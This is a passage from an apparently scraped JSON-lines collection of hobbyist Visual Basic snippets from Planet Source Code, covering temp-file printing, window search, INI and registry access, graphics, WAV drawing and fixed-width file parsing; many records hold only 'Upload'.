Text1.Text 'puts text in the string whenever the textbox's text changes\nEnd Sub\n'End of code...\n'The easiest way to write multiple values to a file is like this:\n'Write #FileNum, strTest, strTest2, strTest3\n'...just keep adding commas and then the next vaule to save\n'Be sure to load EVERYTHING you saved and in the same order you saved it! or it wont work!!\n'A shortcut for saving arrays:\n'For Q = 1 To 5: Write #NFile, Array(Q):Next\n'...and so on...Enjoy!\n"},{"WorldId":1,"id":10245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10258,"LineNumber":1,"line":"'All you need to provide is a prefix if desired, and the file extention\nPrivate Function CreateTempFile(sPrefix As String, sSuffix As String) As String\n Dim sTmpPath As String * 512\n Dim sTmpName As String * 576\n Dim nRet As Long\n 'Some API and string manipulation to get the temp file created\n nRet = GetTempPath(512, sTmpPath)\n If (nRet > 0 And nRet < 512) Then\n nRet = GetTempFileName(sTmpPath, sPrefix, 0, sTmpName)\n If nRet <> 0 Then\n sTmpName = Left$(sTmpName, _\n InStr(sTmpName, vbNullChar) - 1)\n CreateTempFile = Left(Trim(sTmpName), Len(Trim(sTmpName)) - 3) & sSuffix\n End If\n End If\nEnd Function\nPrivate Sub Command1_Click()\n Dim sTmpFile As String\n Dim sMsg As String\n Dim hFile As Long\n 'We're trying to print a richtextbox, so give it something to name\n 'it by, and make sure you set the extention to rtf.\n 'You could print a textbox by using txt, etc.\n sTmpFile = CreateTempFile(\"jTmp\", \"rtf\")\n \n 'Gets the next available open number\n hFile = FreeFile\n 'open the file and give it the textRTF of the richtextbox\n 'if you don't want to use boxed, you could just pass a string here\n Open sTmpFile For Binary As hFile\n Put #hFile, , RichTextBox1.TextRTF\n Close hFile\n \n 'shell print it\n Call ShellExecute(0&, \"Print\", sTmpFile, vbNullString, vbNullString, vbHide)\n \n 'delete it.\n Kill sTmpFile\nEnd Sub\n"},{"WorldId":1,"id":10259,"LineNumber":1,"line":"'---Bas module code------\nPrivate Declare Function EnumWindows& Lib \"user32\" (ByVal lpEnumFunc As Long, ByVal lParam As Long)\nPrivate Declare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long\nPrivate Declare Function IsWindowVisible& Lib \"user32\" (ByVal hwnd As Long)\nPrivate Declare Function GetParent& Lib \"user32\" (ByVal hwnd As Long)\nDim sPattern As String, hFind As Long\nFunction EnumWinProc(ByVal hwnd As Long, ByVal lParam As Long) As Long\n Dim k As Long, sName As String\n If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then\n sName = Space$(128)\n k = GetWindowText(hwnd, sName, 128)\n If k > 0 Then\n sName = Left$(sName, k)\n If lParam = 0 Then sName = UCase(sName)\n If sName Like sPattern Then\n hFind = hwnd\n EnumWinProc = 0\n Exit Function\n End If\n End If\n End If\n EnumWinProc = 1\nEnd Function\nPublic Function FindWindowWild(sWild As String, Optional bMatchCase As Boolean = True) As Long\n sPattern = sWild\n If Not bMatchCase Then sPattern = UCase(sPattern)\n EnumWindows AddressOf EnumWinProc, bMatchCase\n FindWindowWild = hFind\nEnd Function\n\n'----Using (Form code)----\nPrivate Sub Command1_Click()\n Debug.Print FindWindowWild(\"*Mi??OSoFt In[s-u]ernet*\", False)\nEnd Sub\n"},{"WorldId":1,"id":10260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10272,"LineNumber":1,"line":"Public Function EncodeText(TheText As String) As String\nDim Letter As String\nDim TextLen As Integer\nDim Crypt As Double\n \n TextLen = Len(TheText)\n \n \n For Crypt = 1 To TextLen\n Letter = Asc(Mid(TheText, Crypt, 1))\n Letter = Letter Xor 255\n Result$ = Result$ & Chr(Letter)\n Next Crypt\n \n EncodeText = Result$\nEnd Function"},{"WorldId":1,"id":10283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10307,"LineNumber":1,"line":"http://host.bip.net/niklas_lonn/kickbaby.zip"},{"WorldId":1,"id":10309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10326,"LineNumber":1,"line":"Private Sub cmdDraw_Click()\nDim r As Byte\nDim g As Byte\nDim b As Byte\nDim rI As Integer\nDim gI As Integer\nDim bI As Integer\nDim i As Integer\nDim ii As Integer\nRandomize Timer\nr = Int(Rnd * 2)\ng = Int(Rnd * 4)\nb = Int(Rnd * 6)\nFor i = 1 To 400 * 15 Step 15\n For ii = 1 To 200 * 15 Step 15\n Picture1.PSet (i, ii), RGB(r, g, b)\n rI = r + 1 + Int(Rnd * 3)\n If rI > 255 Then r = rI - 255 Else r = rI\n gI = g + 2 + Int(Rnd * 4)\n If gI > 255 Then g = gI - 255 Else g = gI\n bI = b + 3 + Int(Rnd * 5)\n If bI > 255 Then b = bI - 255 Else b = bI\n Next ii\nNext i\nEnd Sub\n"},{"WorldId":1,"id":10331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10369,"LineNumber":1,"line":"Public Sub iniWrite(sFileName As String, sKey As String, sSection As String, ByVal sValue As String)\nDim iW As String\niW = WritePrivateProfileString(sSection, sKey, sValue, sFileName)\nEnd Sub\nPrivate Sub Command1_Click()\niniWrite \"C:\\Windows\\Desktop\\File.ini\", \"Neat\", \"Pretty\", \"Huh?\"\nEnd Sub\n'Have Fun!"},{"WorldId":1,"id":10373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10399,"LineNumber":1,"line":"\nPublic Sub DelTree(ByVal vDir As Variant) \nDim FSO, FS\nSet FSO = CreateObject(\"Scripting.FileSystemObject\") \nFS = FSO.deletefolder(vDir, True)\nEnd Sub"},{"WorldId":1,"id":10403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10405,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META NAME=\"GENERATOR\" Content=\"Microsoft Visual Studio 6.0\">\n<TITLE></TITLE>\n</HEAD>\n<BODY>\nHello Members planet source code.\nUpdate IIII NOT III (this code from the winners for this \nmonth)\nAre you search for Player for All Multimedia Files \nincluding mp3,mpg..etc just via PURE windows API (no any OCXs) .\nAnd also make the following controls just via API:\n1-Open most multimmedia files. 2-Playing it\n3-Pause it\n4- Stop it\n5-Resume it\n6-Close it\n7-Get Current position(current frame)\n8-Get current time\n9-Get Percent of playing file\n10-make it auto Repeat\n11-Get Total frames\n12- Get Total Time\n13-Get the Status of file if it \"playing or stopped or \npaused\"\n14-Get actual size \n(new).\n15-Get current size \n(new).\n16-Resize the movie.\n17-Get number frames per second\n18-let you know if multimedia at the end \nnow\n<A \nhref=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783\">http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783</A>\n(there are Module for Standard use and has \nready functions)\nWritten once to use it every time.\nEnjoy to Make your own \nPlayer.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":10425,"LineNumber":1,"line":"'Put this in a module:\nDeclare Sub ReleaseCapture Lib \"user32\" ()\nDeclare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wparam As Integer, ByVal iparam As Long) As Long\nPublic Sub formdrag(theform As Form)\n ReleaseCapture\n Call SendMessage(theform.hWnd, &HA1, 2, 0&)\nEnd Sub\n'**************\n'put this in the object that u want to move the form in the MouseDown:\nformdrag Me\n'thats it...vote for me if u like it...or email me if u need help...it should work...worked for me"},{"WorldId":1,"id":10428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10479,"LineNumber":1,"line":"Public Function bSetRegValue(ByVal hKey As Long, ByVal lpszSubKey As String, ByVal sSetValue As String, ByVal sValue As String) As Boolean\n \n On Error Resume Next\n Dim phkResult As Long\n Dim lResult As Long\n Dim SA As SECURITY_ATTRIBUTES\n Dim lCreate As Long\n RegCreateKeyEx hKey, lpszSubKey, 0, \"\", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, SA, phkResult, lCreate\n lResult = RegSetValueEx(phkResult, sSetValue, 0, REG_SZ, sValue, CLng(Len(sValue) + 1))\n RegCloseKey phkResult\n bSetRegValue = (lResult = ERROR_SUCCESS)\n \nEnd Function\nPublic Function bGetRegValue(ByVal hKey As Long, ByVal sKey As String, ByVal sSubKey As String) As String\n \n Dim lResult As Long\n Dim phkResult As Long\n Dim dWReserved As Long\n Dim szBuffer As String\n Dim lBuffSize As Long\n Dim szBuffer2 As String\n Dim lBuffSize2 As Long\n Dim lIndex As Long\n Dim lType As Long\n Dim sCompKey As String\n \n lIndex = 0\n lResult = RegOpenKeyEx(hKey, sKey, 0, 1, phkResult)\n Do While lResult = ERROR_SUCCESS And Not (bFound)\n \n szBuffer = Space(255)\n lBuffSize = Len(szBuffer)\n szBuffer2 = Space(255)\n lBuffSize2 = Len(szBuffer2)\n \n lResult = RegEnumValue(phkResult, lIndex, szBuffer, lBuffSize, dWReserved, lType, szBuffer2, lBuffSize2)\n If (lResult = ERROR_SUCCESS) Then\n sCompKey = Left(szBuffer, lBuffSize)\n If (sCompKey = sSubKey) Then\n bGetRegValue = Left(szBuffer2, lBuffSize2 - 1)\n End If\n End If\n lIndex = lIndex + 1\n \n Loop\n RegCloseKey phkResult\nEnd Function\n"},{"WorldId":1,"id":10480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10484,"LineNumber":1,"line":"Function Proper(Text As String)\nDim FirstLetter%, I%, BadFormat%, J%, Loc%, Sta%\nDim BreakL$, BreakR$\n'------------------------\nText = LCase(Text)\nFirstLetter = Asc(Mid(Text, 1, 1))\nIf FirstLetter >= 97 And FirstLetter <= 122 Then\n Text = Right(Text, Len(Text) - 1)\n Text = Chr(FirstLetter - 32) & Text\nEnd If\nFor I = 1 To Len(Text) - 2\n If Mid(Text, I, 1) = \".\" And Asc(Mid(Text, I + 2, 1)) >= 97 And Asc(Mid(Text, I + 2, 1)) <= 122 _\n Then BadFormat = BadFormat + 1\n If Mid(Text, I, 1) = \"!\" And Asc(Mid(Text, I + 2, 1)) >= 97 And Asc(Mid(Text, I + 2, 1)) <= 122 _\n Then BadFormat = BadFormat + 1\n If Mid(Text, I, 1) = \"?\" And Asc(Mid(Text, I + 2, 1)) >= 97 And Asc(Mid(Text, I + 2, 1)) <= 122 _\n Then BadFormat = BadFormat + 1\nNext I\nLoc = 1\nFor J = 1 To BadFormat\n Sta = 200\n If InStr(Loc, Text, \".\") <> 0 Then Sta = InStr(Loc, Text, \".\")\n If InStr(Loc, Text, \"?\") < Sta And InStr(Loc, Text, \"?\") <> 0 _\n Then Sta = InStr(Loc, Text, \"?\")\n If InStr(Loc, Text, \"!\") < Sta And InStr(Loc, Text, \"!\") <> 0 _\n Then Sta = InStr(Loc, Text, \"!\")\n For I = Sta To Len(Text)\n If Asc(Mid(Text, I, 1)) >= 97 And Asc(Mid(Text, I, 1)) <= 122 Then\n Loc = I + 1\n FirstLetter = Asc(Mid(Text, I, 1))\n BreakL = Left(Text, I - 1)\n BreakR = Right(Text, Len(Text) - I)\n Text = BreakL & Chr(FirstLetter - 32) & BreakR\n Exit For\n End If\n Next I\nNext J\nProper = Text\nEnd Function\n"},{"WorldId":1,"id":10497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10542,"LineNumber":1,"line":"'here its real simple\n'you need a form, thats all, assuming the name is\n'form1\nform1.picture = loadpicture (\"file path\")\n'example\n'form1.picture = loadpicture (\"c:\\mypicture.bmp\")\n'well thats it you can also do it with images and\n'picture boxes\nimage1.picture = loadpicture (\"file path\")\n'simple I know, but its for begginers\n'(V)enace-KoS"},{"WorldId":1,"id":10543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10567,"LineNumber":1,"line":"Sub Form_3D(frmForm As Form,LineWidth as long)\nConst cPi = 3.1415926 'Perfect\nDim intLineWidth As Integer\nintLineWidth = linewidth\nDim intSaveScaleMode As Integer\nintSaveScaleMode = frmForm.ScaleMode\nfrmForm.ScaleMode = 3\nDim intScaleWidth As Integer\nDim intScaleHeight As Integer\nintScaleWidth = frmForm.ScaleWidth\nintScaleHeight = frmForm.ScaleHeight\nfrmForm.Cls\nfrmForm.Line (0, intScaleHeight)-(intLineWidth, 0), &HFFFFFF, BF\nfrmForm.Line (0, intLineWidth)-(intScaleWidth, 0), &HFFFFFF, BF\nfrmForm.Line (intScaleWidth, 0)-(intScaleWidth - intLineWidth, intScaleHeight), &H808080, BF\nfrmForm.Line (intScaleWidth, intScaleHeight - intLineWidth)-(0, intScaleHeight), &H808080, BF\nDim intCircleWidth As Integer\nintCircleWidth = Sqr(intLineWidth * intLineWidth + intLineWidth * intLineWidth)\nfrmForm.FillStyle = 0\nfrmForm.FillColor = QBColor(15)\nfrmForm.Circle (intLineWidth, intScaleHeight - intLineWidth), intCircleWidth, QBColor(15), -3.1415926, -3.90953745777778 '-180 * cPi / 180, -224 * cPi / 180\nfrmForm.Circle (intScaleWidth - intLineWidth, intLineWidth), intCircleWidth, QBColor(15), -0.78539815, -1.5707963 ' -45 * cPi / 180, -90 * cPi / 180\nfrmForm.Line (0, intScaleHeight)-(0, 0), 0\nfrmForm.Line (0, 0)-(intScaleWidth - 1, 0), 0\nfrmForm.Line (intScaleWidth - 1, 0)-(intScaleWidth - 1, intScaleHeight - 1), 0\nfrmForm.Line (0, intScaleHeight - 1)-(intScaleWidth - 1, intScaleHeight - 1), 0\nfrmForm.ScaleMode = intSaveScaleMode\nEnd Sub\n"},{"WorldId":1,"id":10569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10628,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META NAME=\"GENERATOR\" Content=\"Microsoft Visual Studio 6.0\">\n<TITLE></TITLE>\n</HEAD>\n<BODY>\nHello Members planet source code.\n Now Version 5.0 not Update \nIIII.\nAre you search for Player for All Multimedia Files including mp3,mpg..etc just via PURE windows API (no any OCXs) \n.\nWhat new in this version?\n1-In this version there were common \nerrors in Windows 2000 was repaired (now the code useful for win2000).\n2-I added Function for Channels Audio \nControl.\nyou can here \nplay on Left channel audio file and on right channel another audio file at the \nsame time Or:\nplay the file \ntwo times at the same time one on the left and the another on the right. \n\n \n ┬á\nAnd also make the following controls just via API:\n1-Open most multimmedia files. 2-Playing it\n3-Pause it\n4- Stop it\n5-Resume it\n6-Close it\n7-Get Current position(current frame)\n8-Get current time\n9-Get Percent of playing file\n10-make it auto Repeat\n11-Get Total frames\n12- Get Total Time\n13-Get the Status of file if it \"playing or stopped or \npaused\"\n14-Get actual size \n(new).\n15-Get current size \n(new).\n16-Resize the movie.\n17-Get number frames per second\n18-let you know if multimedia at the end \nnow\n<A \nhref=\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783\">http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=9783</A>\n(there are Module for Standard use and has \nready functions)\nWritten once to use it every time.\nEnjoy to Make your own \nPlayer.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":10629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10725,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim LastX, LastY, CurX, CurY As Byte\n CommonDialog1.ShowOpen\n Form1.Caption = CommonDialog1.FileName & \" - Graphical Wave\"\n If CommonDialog1.CancelError = True Or CommonDialog1.FileName = \"\" Then Exit Sub\n'If the user pressed cancel or didn't select anything then exit this sub\n On Error Resume Next\n Picture1.Width = FileLen(CommonDialog1.FileName)\n'Makes the invisible picturebox the width of the size of the .wav file\n Open CommonDialog1.FileName For Binary As #1\n Get #1, 44, LastY\n'Gets the 44th byte of the .wav file (that is where the sound information that we are\n'interested in starts)\n LastX = 0\n For i = 45 To FileLen(CommonDialog1.FileName)\n'Loops through each byte (after 44) of the file\n Get #1, i, CurY\n Picture1.Line (LastX, LastY + 22)-(i, CurY + 22), 0\n'Draws a line in the invisible picturebox using the data we read from the file\n LastX = i\n LastY = CurY\n Next i\n Close #1\n StretchBlt Picture2.hdc, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture1.hdc, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight, vbSrcCopy\n Picture2.Refresh\n'This just copies the area of picture1 into picture2, so that you can see the whole Wave\nEnd Sub\nPrivate Sub Form_Load()\n Form1.ScaleMode = vbPixels\n Picture1.AutoRedraw = True\n Picture1.ScaleMode = vbPixels\n Picture1.Visible = False\n Picture1.Height = 300\n Picture1.BackColor = vbWhite\n Picture2.AutoRedraw = True\n Picture2.ScaleMode = vbPixels\n Command1.Caption = \"Load .wav\"\n CommonDialog1.Filter = \"Wave Files (.wav) | *.wav\"\nEnd Sub\nPrivate Sub Form_Resize()\n Picture2.Move 0, Command1.Height, Form1.ScaleWidth, Form1.ScaleHeight\n Command1.Move 0, 0, Form1.ScaleWidth, Command1.Height\n 'Stretches the visible picturebox and the commandbutton to fit the form\nEnd Sub\n"},{"WorldId":1,"id":10727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10736,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10755,"LineNumber":1,"line":"Using the LSET keyword you can use a user defined type (UDT)\nto automatically parse a line from a text file into the\nindividual elements......in ONE LINE OF CODE! Here is how:\nFirst lets take a sample file (call it 'SOMEFILE.TXT'):\n<pre>08072000Jerry M Barnett 0002356A2S56D9</pre>\nOk, the line above represents lets say one of a few hundred\nlines. The layout of the file is as follows:\n<table border=\"0\" cellpadding=\"4\">\n <tr>\n <td> </td>\n <td>Field</td>\n <td>Type</td>\n <td>Position</td>\n <td>Remarks</td>\n </tr>\n <tr>\n <td> </td>\n <td>Date</td>\n <td>MMDDYYYY</td>\n <td>1-8</td>\n <td>Format will be MM/DD/YYYY</td>\n </tr>\n <tr>\n <td> </td>\n <td>Name</td>\n <td>AlphaNumeric</td>\n <td>9-29</td>\n <td>Padded with space</td>\n </tr>\n <tr>\n <td> </td>\n <td>Amount</td>\n <td>Numeric</td>\n <td>30-36</td>\n <td>9(5)v99</td>\n <td> </td>\n </tr>\n <tr>\n <td> </td>\n <td>Code</td>\n <td>Alpha</td>\n <td>37</td>\n <td>A for accepted,</td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td> </td>\n <td> </td>\n <td>R for rejected</td>\n </tr>\n <tr>\n <td> </td>\n <td>Account</td>\n <td>AlphaNumeric</td>\n <td>38-43</td>\n <td> </td>\n </tr>\n</table>\nFirst thing is to create a user defined type representing the\nlayout of the file. (Note - this should be place in the Module\nlevel of a program.)\n<table border=\"0\">\n <tr>\n <td> </td>\n <td>Type</td>\n <td>udtInput</td>\n <td> </td>\n <td> </td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td>MyDate</td>\n <td> </td>\n <td>As String * 8</td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td>Name</td>\n <td> </td>\n <td>As String * 21</td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td>Amount</td>\n <td> </td>\n <td>As String * 7</td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td>Code</td>\n <td> </td>\n <td>As String * 1</td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td>Account</td>\n <td> </td>\n <td>As String * 6</td>\n </tr>\n <tr>\n <td> </td>\n <td>End </td>\n <td>Type</td>\n </tr>\n</table>\nNote - All types are strings reguardless of\nthe type in the file. This will become clearer later. Next,\ncreate a user defined type to represent the total length of the\nline (I will explain why later)\n<table border=\"0\">\n <tr>\n <td> </td>\n <td>Type</td>\n <td>udtLine</td>\n <td> </td>\n <td> </td>\n <td> </td>\n </tr>\n <tr>\n <td> </td>\n <td> </td>\n <td>strBuff</td>\n <td>As String * 43</td>\n <td> </td>\n <td> </td>\n </tr>\n <tr>\n <td> </td>\n <td>End</td>\n <td>Type</td>\n <td> </td>\n <td> </td>\n <td> </td>\n </tr>\n</table>\nNow in your program you can do the following:\n<pre>Sub Main()</pre>\n<pre>' File Number</pre>\n<pre>Dim iMyFile As Long</pre>\n<pre>Dim sLine As udtLine</pre>\n<pre>Dim sInput As udtInput</pre>\n<pre>' Open your file for reading</pre>\n<pre>Open App.Path & \"\\SOMEFILE.TXT\" for Input Access Read as #iMyFile</pre>\n<pre>' Read the line into the udtLine UDT strBuff element</pre>\n<pre>' This needs to be done, because you can't place a string</pre>\n<pre>' directly into the UDT or you will get a type missmatch errorLine </pre>\n<pre>Input #iMyFile, sLine.strBuff</pre>\n<pre>' The buffer (strBuff) represents the entire line</pre>\n<pre>' Now copy 